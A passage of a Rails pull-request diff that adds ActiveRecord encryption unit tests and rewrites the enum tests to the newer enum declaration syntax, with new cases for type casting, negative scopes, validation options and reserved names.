+    ActiveRecord::Encryption::Message.new(payload: "Some payload")
+  end
+end
diff --git a/activerecord/test/cases/encryption/null_encryptor_test.rb b/activerecord/test/cases/encryption/null_encryptor_test.rb
new file mode 100644
index 0000000000000..c3f83aade3b13
--- /dev/null
+++ b/activerecord/test/cases/encryption/null_encryptor_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::NullEncryptorTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @encryptor = ActiveRecord::Encryption::NullEncryptor.new
+  end
+
+  test "encrypt returns the passed data" do
+    assert_equal "Some data", @encryptor.encrypt("Some data")
+  end
+
+  test "decrypt returns the passed data" do
+    assert_equal "Some data", @encryptor.decrypt("Some data")
+  end
+
+  test "encrypted? returns false" do
+    assert_not @encryptor.encrypted?("Some data")
+  end
+end
diff --git a/activerecord/test/cases/encryption/properties_test.rb b/activerecord/test/cases/encryption/properties_test.rb
new file mode 100644
index 0000000000000..35dbc071549d4
--- /dev/null
+++ b/activerecord/test/cases/encryption/properties_test.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::EncryptionPropertiesTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @properties = ActiveRecord::Encryption::Properties.new
+  end
+
+  test "behaves like a hash" do
+    @properties[:key_1] = "value 1"
+    @properties[:key_2] = "value 2"
+
+    assert_equal "value 1", @properties[:key_1]
+    assert_equal "value 2", @properties[:key_2]
+  end
+
+  test "defines custom accessors for some default properties" do
+    auth_tag = "some auth tag"
+
+    @properties.auth_tag = auth_tag
+    assert_equal auth_tag, @properties.auth_tag
+    assert_equal auth_tag, @properties[:at]
+  end
+
+  test "raises EncryptedContentIntegrity when trying to override properties" do
+    @properties[:key_1] = "value 1"
+
+    assert_raises ActiveRecord::Encryption::Errors::EncryptedContentIntegrity do
+      @properties[:key_1] = "value 1"
+    end
+  end
+
+  test "add will add all the properties passed" do
+    @properties.add(key_1: "value 1", key_2: "value 2")
+
+    assert_equal "value 1", @properties[:key_1]
+    assert_equal "value 2", @properties[:key_2]
+  end
+
+  test "validate allowed types on creation" do
+    example_of_valid_values.each do |value|
+      ActiveRecord::Encryption::Properties.new(some_value: value)
+    end
+
+    assert_raises ActiveRecord::Encryption::Errors::ForbiddenClass do
+      ActiveRecord::Encryption::Properties.new(my_class: MyClass.new)
+    end
+  end
+
+  test "validate allowed_types setting headers" do
+    example_of_valid_values.each.with_index do |value, index|
+      @properties["some_value_#{index}"] = value
+    end
+
+    assert_raises ActiveRecord::Encryption::Errors::ForbiddenClass do
+      @properties["some_value"] = MyClass.new
+    end
+  end
+
+  MyClass = Struct.new(:some_value)
+
+  class EncryptionMessageSubClass < ActiveRecord::Encryption::Message
+  end
+
+  def example_of_valid_values
+    ["a string", 123, 123.5, true, false, nil, :a_symbol, ActiveRecord::Encryption::Message.new, EncryptionMessageSubClass.new]
+  end
+end
diff --git a/activerecord/test/cases/encryption/read_only_null_encryptor_test.rb b/activerecord/test/cases/encryption/read_only_null_encryptor_test.rb
new file mode 100644
index 0000000000000..4c349f0de44f3
--- /dev/null
+++ b/activerecord/test/cases/encryption/read_only_null_encryptor_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+
+class ActiveRecord::Encryption::ReadOnlyNullEncryptorTest < ActiveRecord::EncryptionTestCase
+  setup do
+    @encryptor = ActiveRecord::Encryption::ReadOnlyNullEncryptor.new
+  end
+
+  test "decrypt returns the encrypted message" do
+    assert_equal "some text", @encryptor.decrypt("some text")
+  end
+
+  test "encrypt raises an Encryption" do
+    assert_raises ActiveRecord::Encryption::Errors::Encryption do
+      @encryptor.encrypt("some text")
+    end
+  end
+end
diff --git a/activerecord/test/cases/encryption/scheme_test.rb b/activerecord/test/cases/encryption/scheme_test.rb
new file mode 100644
index 0000000000000..1ac0137860e29
--- /dev/null
+++ b/activerecord/test/cases/encryption/scheme_test.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/book"
+
+class ActiveRecord::Encryption::SchemeTest < ActiveRecord::EncryptionTestCase
+  test "validates config options when using encrypted attributes" do
+    assert_invalid_declaration deterministic: false, ignore_case: true
+    assert_invalid_declaration key: "1234", key_provider: ActiveRecord::Encryption::DerivedSecretKeyProvider.new("my secret")
+    assert_invalid_declaration compress: false, compressor: Zlib
+    assert_invalid_declaration compressor: Zlib, encryptor: ActiveRecord::Encryption::Encryptor.new
+
+    assert_valid_declaration deterministic: true
+    assert_valid_declaration key: "1234"
+    assert_valid_declaration key_provider: ActiveRecord::Encryption::DerivedSecretKeyProvider.new("my secret")
+  end
+
+  test "should create a encryptor well when compressor is given" do
+    MyCompressor = Class.new do
+      def self.deflate(data)
+        "deflated #{data}"
+      end
+
+      def self.inflate(data)
+        data.sub("deflated ", "")
+      end
+    end
+
+    type = declare_encrypts_with compressor: MyCompressor
+
+    assert_equal MyCompressor, type.scheme.to_h[:encryptor].compressor
+  end
+
+  test "should create a encryptor well when compress is false" do
+    type = declare_encrypts_with compress: false
+
+    assert_not type.scheme.to_h[:encryptor].compress?
+  end
+
+  private
+    def assert_invalid_declaration(**options)
+      assert_raises ActiveRecord::Encryption::Errors::Configuration do
+        declare_encrypts_with(options)
+      end
+    end
+
+    def assert_valid_declaration(**options)
+      assert_nothing_raised do
+        declare_encrypts_with(options)
+      end
+    end
+
+    def declare_encrypts_with(options)
+      Class.new(Book) do
+        encrypts :name, **options
+      end.type_for_attribute(:name)
+    end
+end
diff --git a/activerecord/test/cases/encryption/unencrypted_attributes_test.rb b/activerecord/test/cases/encryption/unencrypted_attributes_test.rb
new file mode 100644
index 0000000000000..436e0ed102e2b
--- /dev/null
+++ b/activerecord/test/cases/encryption/unencrypted_attributes_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/post_encrypted"
+
+class ActiveRecord::Encryption::UnencryptedAttributesTest < ActiveRecord::EncryptionTestCase
+  test "when :support_unencrypted_data is off, it works with unencrypted attributes normally" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+
+    post = ActiveRecord::Encryption.without_encryption { EncryptedPost.create!(title: "The Starfleet is here!", body: "take cover!") }
+    assert_not_encrypted_attribute(post, :title, "The Starfleet is here!")
+
+    # It will encrypt on saving
+    post.update! title: "Other title"
+    assert_encrypted_attribute(post.reload, :title, "Other title")
+  end
+
+  test "when :support_unencrypted_data is on, it won't work with unencrypted attributes" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = false
+
+    post = ActiveRecord::Encryption.without_encryption { EncryptedPost.create!(title: "The Starfleet is here!", body: "take cover!") }
+
+    assert_raises ActiveRecord::Encryption::Errors::Decryption do
+      post.title
+    end
+  end
+end
diff --git a/activerecord/test/cases/encryption/uniqueness_validations_test.rb b/activerecord/test/cases/encryption/uniqueness_validations_test.rb
new file mode 100644
index 0000000000000..a444c07bebe18
--- /dev/null
+++ b/activerecord/test/cases/encryption/uniqueness_validations_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "cases/encryption/helper"
+require "models/book_encrypted"
+require "models/author_encrypted"
+
+class ActiveRecord::Encryption::UniquenessValidationsTest < ActiveRecord::EncryptionTestCase
+  test "uniqueness validations work" do
+    EncryptedBookWithDowncaseName.create!(name: "dune")
+    assert_raises ActiveRecord::RecordInvalid do
+      EncryptedBookWithDowncaseName.create!(name: "dune")
+    end
+  end
+
+  test "uniqueness validations work when mixing encrypted an unencrypted data" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+
+    UnencryptedBook.create! name: "dune"
+    assert_raises ActiveRecord::RecordInvalid do
+      EncryptedBookWithDowncaseName.create!(name: "DUNE")
+    end
+  end
+
+  test "uniqueness validations do not work when mixing encrypted an unencrypted data and unencrypted data is opted out per-attribute" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+
+    UnencryptedBook.create! name: "dune"
+    assert_nothing_raised do
+      EncryptedBookWithUnencryptedDataOptedOut.create!(name: "dune")
+    end
+  end
+
+  test "uniqueness validations work when mixing encrypted an unencrypted data and unencrypted data is opted in per-attribute" do
+    ActiveRecord::Encryption.config.support_unencrypted_data = true
+
+    UnencryptedBook.create! name: "dune"
+    assert_raises ActiveRecord::RecordInvalid do
+      EncryptedBookWithUnencryptedDataOptedIn.create!(name: "dune")
+    end
+  end
+
+  test "uniqueness validations work when using old encryption schemes" do
+    ActiveRecord::Encryption.config.previous = [ { downcase: true, deterministic: true } ]
+
+    OldEncryptionBook = Class.new(UnencryptedBook) do
+      self.table_name = "encrypted_books"
+
+      validates :name, uniqueness: true
+      encrypts :name, deterministic: true, downcase: false
+    end
+
+    OldEncryptionBook.create! name: "dune"
+
+    assert_raises ActiveRecord::RecordInvalid do
+      OldEncryptionBook.create! name: "DUNE"
+    end
+  end
+
+  test "uniqueness validation does not revalidate the attribute with current encryption type" do
+    EncryptedBookWithUniquenessValidation.create!(name: "dune")
+    record = EncryptedBookWithUniquenessValidation.create(name: "dune")
+
+    assert_equal 1, record.errors.count
+  end
+end
diff --git a/activerecord/test/cases/enum_test.rb b/activerecord/test/cases/enum_test.rb
index b7641fcf32129..eee6c6028fab8 100644
--- a/activerecord/test/cases/enum_test.rb
+++ b/activerecord/test/cases/enum_test.rb
@@ -1,33 +1,76 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "models/author"
 require "models/book"
+require "active_support/log_subscriber/test_helper"
 
 class EnumTest < ActiveRecord::TestCase
-  fixtures :books
+  fixtures :books, :authors, :author_addresses
 
   setup do
     @book = books(:awdr)
   end
 
-  test "query state by predicate" do
-    assert @book.published?
-    assert_not @book.written?
-    assert_not @book.proposed?
+  test "type.cast" do
+    type = Book.type_for_attribute(:status)
+
+    assert_equal "proposed",  type.cast(0)
+    assert_equal "written",   type.cast(1)
+    assert_equal "published", type.cast(2)
+
+    assert_equal "proposed",  type.cast(:proposed)
+    assert_equal "written",   type.cast(:written)
+    assert_equal "published", type.cast(:published)
+
+    assert_equal "proposed",  type.cast("proposed")
+    assert_equal "written",   type.cast("written")
+    assert_equal "published", type.cast("published")
+
+    assert_equal :unknown,    type.cast(:unknown)
+    assert_equal "unknown",   type.cast("unknown")
+  end
+
+  test "type.serialize" do
+    type = Book.type_for_attribute(:status)
+
+    assert_equal 0, type.serialize(0)
+    assert_equal 1, type.serialize(1)
+    assert_equal 2, type.serialize(2)
+
+    assert_equal 0, type.serialize(:proposed)
+    assert_equal 1, type.serialize(:written)
+    assert_equal 2, type.serialize(:published)
+
+    assert_equal 0, type.serialize("proposed")
+    assert_equal 1, type.serialize("written")
+    assert_equal 2, type.serialize("published")
 
-    assert @book.read?
-    assert @book.in_english?
-    assert @book.author_visibility_visible?
-    assert @book.illustrator_visibility_visible?
-    assert @book.with_medium_font_size?
-    assert @book.medium_to_read?
+    assert_nil type.serialize(:unknown)
+    assert_nil type.serialize("unknown")
+  end
+
+  test "query state by predicate" do
+    assert_predicate @book, :published?
+    assert_not_predicate @book, :written?
+    assert_not_predicate @book, :proposed?
+
+    assert_predicate @book, :read?
+    assert_predicate @book, :in_english?
+    assert_predicate @book, :author_visibility_visible?
+    assert_predicate @book, :illustrator_visibility_visible?
+    assert_predicate @book, :with_medium_font_size?
+    assert_predicate @book, :medium_to_read?
   end
 
   test "query state with strings" do
     assert_equal "published", @book.status
-    assert_equal "read", @book.read_status
+    assert_equal "read", @book.last_read
     assert_equal "english", @book.language
     assert_equal "visible", @book.author_visibility
     assert_equal "visible", @book.illustrator_visibility
     assert_equal "medium", @book.difficulty
+    assert_equal "soft", @book.cover
   end
 
   test "find via scope" do
@@ -37,6 +80,20 @@ class EnumTest < ActiveRecord::TestCase
     assert_equal @book, Book.author_visibility_visible.first
     assert_equal @book, Book.illustrator_visibility_visible.first
     assert_equal @book, Book.medium_to_read.first
+    assert_equal books(:ddd), Book.forgotten.first
+    assert_equal books(:rfr), authors(:david).unpublished_books.first
+  end
+
+  test "find via negative scope" do
+    assert Book.not_published.exclude?(@book)
+    assert Book.not_proposed.include?(@book)
+
+    assert Book.not_forgotten.exclude?(books(:ddd))
+
+    # Should include records with nils in the column.
+    rfr = books(:rfr)
+    rfr.update!(status: nil)
+    assert Book.not_published.include?(rfr)
   end
 
   test "find via where with values" do
@@ -44,71 +101,116 @@ class EnumTest < ActiveRecord::TestCase
 
     assert_equal @book, Book.where(status: published).first
     assert_not_equal @book, Book.where(status: written).first
-    assert_equal @book, Book.where(status: [published]).first
-    assert_not_equal @book, Book.where(status: [written]).first
-    assert_not_equal @book, Book.where("status <> ?", published).first
-    assert_equal @book, Book.where("status <> ?", written).first
+    assert_equal @book, Book.where(status: [published, published]).first
+    assert_not_equal @book, Book.where(status: [written, written]).first
+    assert_not_equal @book, Book.where.not(status: published).first
+    assert_equal @book, Book.where.not(status: written).first
+  end
+
+  test "find via where with values.to_s" do
+    published, written = Book.statuses[:published].to_s, Book.statuses[:written].to_s
+
+    assert_equal @book, Book.where(status: published).first
+    assert_not_equal @book, Book.where(status: written).first
+    assert_equal @book, Book.where(status: [published, published]).first
+    assert_not_equal @book, Book.where(status: [written, written]).first
+    assert_not_equal @book, Book.where.not(status: published).first
+    assert_equal @book, Book.where.not(status: written).first
+    assert_equal @book, Book.where(cover: Book.covers[:soft]).first
   end
 
   test "find via where with symbols" do
     assert_equal @book, Book.where(status: :published).first
     assert_not_equal @book, Book.where(status: :written).first
-    assert_equal @book, Book.where(status: [:published]).first
-    assert_not_equal @book, Book.where(status: [:written]).first
+    assert_equal @book, Book.where(status: [:published, :published]).first
+    assert_not_equal @book, Book.where(status: [:written, :written]).first
     assert_not_equal @book, Book.where.not(status: :published).first
     assert_equal @book, Book.where.not(status: :written).first
+    assert_equal books(:ddd), Book.where(last_read: :forgotten).first
+    assert_nil Book.where(status: :prohibited).first
+    assert_equal @book, Book.where(cover: :soft).first
+    assert_equal @book, Book.where.not(cover: :hard).first
   end
 
   test "find via where with strings" do
     assert_equal @book, Book.where(status: "published").first
     assert_not_equal @book, Book.where(status: "written").first
-    assert_equal @book, Book.where(status: ["published"]).first
-    assert_not_equal @book, Book.where(status: ["written"]).first
+    assert_equal @book, Book.where(status: ["published", "published"]).first
+    assert_not_equal @book, Book.where(status: ["written", "written"]).first
     assert_not_equal @book, Book.where.not(status: "published").first
     assert_equal @book, Book.where.not(status: "written").first
+    assert_equal books(:ddd), Book.where(last_read: "forgotten").first
+    assert_nil Book.where(status: "prohibited").first
+  end
+
+  test "find via where with large number" do
+    assert_equal @book, Book.where(status: [2, 9223372036854775808]).first
+    assert_equal @book, Book.where(status: ["2", "9223372036854775808"]).first
+    assert_equal @book, Book.where(status: 2..9223372036854775808).first
+    assert_equal @book, Book.where(status: "2".."9223372036854775808").first
+  end
+
+  test "find via where should be type casted" do
+    book = Book.enabled.create!
+    assert_predicate book, :enabled?
+
+    enabled = Book.boolean_statuses[:enabled].to_s
+    assert_equal book, Book.where(boolean_status: enabled).last
+    assert_equal @book, Book.where(cover: "soft").first
+    assert_equal @book, Book.where.not(cover: "hard").first
   end
 
   test "build from scope" do
-    assert Book.written.build.written?
-    assert_not Book.written.build.proposed?
+    assert_predicate Book.written.build, :written?
+    assert_not_predicate Book.written.build, :proposed?
+    assert_predicate PublishedBook.hard.build, :hard?
+    assert_not_predicate PublishedBook.hard.build, :soft?
   end
 
   test "build from where" do
-    assert Book.where(status: Book.statuses[:written]).build.written?
-    assert_not Book.where(status: Book.statuses[:written]).build.proposed?
-    assert Book.where(status: :written).build.written?
-    assert_not Book.where(status: :written).build.proposed?
-    assert Book.where(status: "written").build.written?
-    assert_not Book.where(status: "written").build.proposed?
+    assert_predicate Book.where(status: Book.statuses[:written]).build, :written?
+    assert_not_predicate Book.where(status: Book.statuses[:written]).build, :proposed?
+    assert_predicate Book.where(status: :written).build, :written?
+    assert_not_predicate Book.where(status: :written).build, :proposed?
+    assert_predicate Book.where(status: "written").build, :written?
+    assert_not_predicate Book.where(status: "written").build, :proposed?
   end
 
   test "update by declaration" do
     @book.written!
-    assert @book.written?
+    assert_predicate @book, :written?
     @book.in_english!
-    assert @book.in_english?
+    assert_predicate @book, :in_english?
     @book.author_visibility_visible!
-    assert @book.author_visibility_visible?
+    assert_predicate @book, :author_visibility_visible?
+    @book.hard!
+    assert_predicate @book, :hard?
   end
 
   test "update by setter" do
     @book.update! status: :written
-    assert @book.written?
+    assert_predicate @book, :written?
+    @book.update! cover: :hard
+    assert_predicate @book, :hard?
   end
 
   test "enum methods are overwritable" do
     assert_equal "do publish work...", @book.published!
-    assert @book.published?
+    assert_predicate @book, :published?
   end
 
   test "direct assignment" do
     @book.status = :written
-    assert @book.written?
+    assert_predicate @book, :written?
+    @book.cover = :hard
+    assert_predicate @book, :hard?
   end
 
   test "assign string value" do
     @book.status = "written"
-    assert @book.written?
+    assert_predicate @book, :written?
+    @book.cover = "hard"
+    assert_predicate @book, :hard?
   end
 
   test "enum changed attributes" do
@@ -120,6 +222,16 @@ class EnumTest < ActiveRecord::TestCase
     assert_equal old_language, @book.changed_attributes[:language]
   end
 
+  test "enum value after write symbol" do
+    @book.status = :proposed
+    assert_equal "proposed", @book.status
+  end
+
+  test "enum value after write string" do
+    @book.status = "proposed"
+    assert_equal "proposed", @book.status
+  end
+
   test "enum changes" do
     old_status = @book.status
     old_language = @book.language
@@ -208,21 +320,78 @@ class EnumTest < ActiveRecord::TestCase
     assert_equal "'unknown' is not a valid status", e.message
   end
 
+  test "validation with 'validate: true' option" do
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Book"; end
+      enum :status, [:proposed, :written], validate: true
+    end
+
+    valid_book = klass.new(status: "proposed")
+    assert_predicate valid_book, :valid?
+
+    valid_book = klass.new(status: "written")
+    assert_predicate valid_book, :valid?
+
+    invalid_book = klass.new(status: nil)
+    assert_not_predicate invalid_book, :valid?
+
+    invalid_book = klass.new(status: "unknown")
+    assert_not_predicate invalid_book, :valid?
+  end
+
+  test "validation with 'validate: hash' option" do
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Book"; end
+      enum :status, [:proposed, :written], validate: { allow_nil: true }
+    end
+
+    valid_book = klass.new(status: "proposed")
+    assert_predicate valid_book, :valid?
+
+    valid_book = klass.new(status: "written")
+    assert_predicate valid_book, :valid?
+
+    valid_book = klass.new(status: nil)
+    assert_predicate valid_book, :valid?
+
+    invalid_book = klass.new(status: "unknown")
+    assert_not_predicate invalid_book, :valid?
+  end
+
   test "NULL values from database should be casted to nil" do
     Book.where(id: @book.id).update_all("status = NULL")
     assert_nil @book.reload.status
   end
 
+  test "deserialize nil value to enum which defines nil value to hash" do
+    assert_equal "forgotten", books(:ddd).last_read
+  end
+
   test "assign nil value" do
     @book.status = nil
     assert_nil @book.status
   end
 
+  test "assign nil value to enum which defines nil value to hash" do
+    @book.last_read = nil
+    assert_equal "forgotten", @book.last_read
+  end
+
   test "assign empty string value" do
     @book.status = ""
     assert_nil @book.status
   end
 
+  test "assign false value to a field defined as not boolean" do
+    @book.status = false
+    assert_nil @book.status
+  end
+
+  test "assign false value to a field defined as boolean" do
+    @book.boolean_status = false
+    assert_equal "disabled", @book.boolean_status
+  end
+
   test "assign long empty string value" do
     @book.status = "   "
     assert_nil @book.status
@@ -235,31 +404,125 @@ class EnumTest < ActiveRecord::TestCase
   end
 
   test "building new objects with enum scopes" do
-    assert Book.written.build.written?
-    assert Book.read.build.read?
-    assert Book.in_spanish.build.in_spanish?
-    assert Book.illustrator_visibility_invisible.build.illustrator_visibility_invisible?
+    assert_predicate Book.written.build, :written?
+    assert_predicate Book.read.build, :read?
+    assert_predicate Book.in_spanish.build, :in_spanish?
+    assert_predicate Book.illustrator_visibility_invisible.build, :illustrator_visibility_invisible?
   end
 
   test "creating new objects with enum scopes" do
-    assert Book.written.create.written?
-    assert Book.read.create.read?
-    assert Book.in_spanish.create.in_spanish?
-    assert Book.illustrator_visibility_invisible.create.illustrator_visibility_invisible?
+    assert_predicate Book.written.create, :written?
+    assert_predicate Book.read.create, :read?
+    assert_predicate Book.in_spanish.create, :in_spanish?
+    assert_predicate Book.illustrator_visibility_invisible.create, :illustrator_visibility_invisible?
+  end
+
+  test "attribute_before_type_cast" do
+    assert_equal 2, @book.status_before_type_cast
+    assert_equal "published", @book.status
+
+    @book.status = "published"
+
+    assert_equal "published", @book.status_before_type_cast
+    assert_equal "published", @book.status
+  end
+
+  test "attribute_for_database" do
+    assert_equal 2, @book.status_for_database
+    assert_equal "published", @book.status
+
+    @book.status = "published"
+
+    assert_equal 2, @book.status_for_database
+    assert_equal "published", @book.status
   end
 
-  test "_before_type_cast returns the enum label (required for form fields)" do
-    if @book.status_came_from_user?
-      assert_equal "published", @book.status_before_type_cast
-    else
-      assert_equal "published", @book.status
+  test "attributes_for_database" do
+    assert_equal 2, @book.attributes_for_database["status"]
+
+    @book.status = "published"
+
+    assert_equal 2, @book.attributes_for_database["status"]
+  end
+
+  test "invalid definition values raise an ArgumentError" do
+    e = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status
+      end
+    end
+
+    assert_match(/must not be empty\.$/, e.message)
+
+    e = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum(:status, {}, **{})
+      end
+    end
+
+    assert_match(/must not be empty\.$/, e.message)
+
+    e = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status, []
+      end
+    end
+
+    assert_match(/must not be empty\.$/, e.message)
+
+    e = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status, [proposed: 1, written: 2, published: 3]
+      end
+    end
+
+    assert_match(/must only contain symbols or strings\.$/, e.message)
+
+    e = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status, { "" => 1, "active" => 2 }
+      end
+    end
+
+    assert_match(/must not contain a blank name\.$/, e.message)
+
+    e = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status, ["active", ""]
+      end
+    end
+
+    assert_match(/must not contain a blank name\.$/, e.message)
+
+    e = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status, { proposed: Object.new, active: :active }
+      end
+    end
+
+    assert_match(/must be only booleans, integers, symbols or strings/, e.message)
+
+    e = assert_raises(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status, Object.new
+      end
     end
+
+    assert_match(/must be either a non-empty hash or an array\.$/, e.message)
   end
 
   test "reserved enum names" do
     klass = Class.new(ActiveRecord::Base) do
       self.table_name = "books"
-      enum status: [:proposed, :written, :published]
+      enum :status, [:proposed, :written, :published]
     end
 
     conflicts = [
@@ -270,16 +533,16 @@ class EnumTest < ActiveRecord::TestCase
 
     conflicts.each_with_index do |name, i|
       e = assert_raises(ArgumentError) do
-        klass.class_eval { enum name => ["value_#{i}"] }
+        klass.class_eval { enum name, ["value_#{i}"] }
       end
-      assert_match(/You tried to define an enum named \"#{name}\" on the model/, e.message)
+      assert_match(/You tried to define an enum named "#{name}" on the model/, e.message)
     end
   end
 
   test "reserved enum values" do
     klass = Class.new(ActiveRecord::Base) do
       self.table_name = "books"
-      enum status: [:proposed, :written, :published]
+      enum :status, [:proposed, :written, :published]
     end
 
     conflicts = [
@@ -288,17 +551,62 @@ class EnumTest < ActiveRecord::TestCase
       :save,     # generates #save!, which conflicts with an AR method
       :proposed, # same value as an existing enum
       :public, :private, :protected, # some important methods on Module and Class
-      :name, :parent, :superclass
+      :name, :superclass,
+      :id        # conflicts with AR querying
     ]
 
     conflicts.each_with_index do |value, i|
       e = assert_raises(ArgumentError, "enum value `#{value}` should not be allowed") do
-        klass.class_eval { enum "status_#{i}" => [value] }
+        klass.class_eval { enum "status_#{i}", [value] }
+      end
+      assert_match(/You tried to define an enum named .* on the model/, e.message)
+    end
+  end
+
+  test "can use id as a value with a prefix or suffix" do
+    assert_nothing_raised do
+      Class.new(ActiveRecord::Base) do
+        self.table_name = "books"
+        enum :status_1, [:id], prefix: true
+        enum :status_2, [:id], suffix: true
+      end
+    end
+  end
+
+  test "reserved enum values for relation" do
+    relation_method_samples = [
+      :records,
+      :to_ary,
+      :scope_for_create
+    ]
+
+    relation_method_samples.each do |value|
+      e = assert_raises(ArgumentError, "enum value `#{value}` should not be allowed") do
+        Class.new(ActiveRecord::Base) do
+          self.table_name = "books"
+          enum :category, [:other, value]
+        end
       end
       assert_match(/You tried to define an enum named .* on the model/, e.message)
     end
   end
 
+  test "conflict message grammar" do
+    conflicts = {
+      column: /will generate a class method/,
+      logger: /will generate an instance method/,
+    }
+
+    conflicts.each do |name, pattern|
+      assert_raises(ArgumentError, match: pattern) do
+        Class.new(ActiveRecord::Base) do
+          self.table_name = "books"
+          enum name, [:value]
+        end
+      end
+    end
+  end
+
   test "overriding enum method should not raise" do
     assert_nothing_raised do
       Class.new(ActiveRecord::Base) do
@@ -309,7 +617,7 @@ def published!
           "do publish work..."
         end
 
-        enum status: [:proposed, :written, :published]
+        enum :status, [:proposed, :written, :published]
 
         def written!
           super
@@ -322,39 +630,38 @@ def written!
   test "validate uniqueness" do
     klass = Class.new(ActiveRecord::Base) do
       def self.name; "Book"; end
-      enum status: [:proposed, :written]
+      enum :status, [:proposed, :written]
       validates_uniqueness_of :status
     end
     klass.delete_all
     klass.create!(status: "proposed")
     book = klass.new(status: "written")
-    assert book.valid?
+    assert_predicate book, :valid?
     book.status = "proposed"
-    assert_not book.valid?
+    assert_not_predicate book, :valid?
   end
 
   test "validate inclusion of value in array" do
     klass = Class.new(ActiveRecord::Base) do
       def self.name; "Book"; end
-      enum status: [:proposed, :written]
+      enum :status, [:proposed, :written]
       validates_inclusion_of :status, in: ["written"]
     end
-    klass.delete_all
     invalid_book = klass.new(status: "proposed")
-    assert_not invalid_book.valid?
+    assert_not_predicate invalid_book, :valid?
     valid_book = klass.new(status: "written")
-    assert valid_book.valid?
+    assert_predicate valid_book, :valid?
   end
 
   test "enums are distinct per class" do
     klass1 = Class.new(ActiveRecord::Base) do
       self.table_name = "books"
-      enum status: [:proposed, :written]
+      enum :status, [:proposed, :written]
     end
 
     klass2 = Class.new(ActiveRecord::Base) do
       self.table_name = "books"
-      enum status: [:drafted, :uploaded]
+      enum :status, [:drafted, :uploaded]
     end
 
     book1 = klass1.proposed.create!
@@ -370,7 +677,7 @@ def self.name; "Book"; end
     subklass1 = Class.new(Book)
 
     subklass2 = Class.new(Book) do
-      enum status: [:drafted, :uploaded]
+      enum :status, [:drafted, :uploaded]
     end
 
     book1 = subklass1.proposed.create!
@@ -382,103 +689,473 @@ def self.name; "Book"; end
     assert_equal ["drafted", "uploaded"], book2.status_change
   end
 
-  test "declare multiple enums at a time" do
+  test "attempting to modify enum raises error" do
+    e = assert_raises(RuntimeError) do
+      Book.statuses["bad_enum"] = 40
+    end
+
+    assert_match(/can't modify frozen/, e.message)
+
+    e = assert_raises(RuntimeError) do
+      Book.statuses.delete("published")
+    end
+
+    assert_match(/can't modify frozen/, e.message)
+  end
+
+  test "declare multiple enums with prefix: true" do
     klass = Class.new(ActiveRecord::Base) do
       self.table_name = "books"
-      enum status: [:proposed, :written, :published],
-           nullable_status: [:single, :married]
+
+      enum(:status, [:value_1], prefix: true)
+
+      enum(:last_read, [:value_1], prefix: true)
     end
 
-    book1 = klass.proposed.create!
-    assert book1.proposed?
+    instance = klass.new
+    assert_respond_to instance, :status_value_1?
+    assert_respond_to instance, :last_read_value_1?
+  end
+
+  test "declare multiple enums with suffix: true" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "books"
+
+      enum(:status, [:value_1], suffix: true)
 
-    book2 = klass.single.create!
-    assert book2.single?
+      enum(:last_read, [:value_1], suffix: true)
+    end
+
+    instance = klass.new
+    assert_respond_to instance, :value_1_status?
+    assert_respond_to instance, :value_1_last_read?
   end
 
   test "enum with alias_attribute" do
     klass = Class.new(ActiveRecord::Base) do
       self.table_name = "books"
       alias_attribute :aliased_status, :status
-      enum aliased_status: [:proposed, :written, :published]
+      enum :aliased_status, [:proposed, :written, :published]
     end
 
     book = klass.proposed.create!
-    assert book.proposed?
+    assert_predicate book, :proposed?
     assert_equal "proposed", book.aliased_status
 
     book = klass.find(book.id)
-    assert book.proposed?
+    assert_predicate book, :proposed?
     assert_equal "proposed", book.aliased_status
   end
 
+  test "enum with a hash with symbol values" do
+    book = Book.create!(symbol_status: :proposed)
+    assert_equal "proposed", book.symbol_status
+    assert_predicate book, :symbol_status_proposed?
+  end
+
   test "query state by predicate with prefix" do
-    assert @book.author_visibility_visible?
-    assert_not @book.author_visibility_invisible?
-    assert @book.illustrator_visibility_visible?
-    assert_not @book.illustrator_visibility_invisible?
+    assert_predicate @book, :author_visibility_visible?
+    assert_not_predicate @book, :author_visibility_invisible?
+    assert_predicate @book, :illustrator_visibility_visible?
+    assert_not_predicate @book, :illustrator_visibility_invisible?
   end
 
   test "query state by predicate with custom prefix" do
-    assert @book.in_english?
-    assert_not @book.in_spanish?
-    assert_not @book.in_french?
+    assert_predicate @book, :in_english?
+    assert_not_predicate @book, :in_spanish?
+    assert_not_predicate @book, :in_french?
   end
 
   test "query state by predicate with custom suffix" do
-    assert     @book.medium_to_read?
-    assert_not @book.easy_to_read?
-    assert_not @book.hard_to_read?
+    assert_predicate @book, :medium_to_read?
+    assert_not_predicate @book, :easy_to_read?
+    assert_not_predicate @book, :hard_to_read?
   end
 
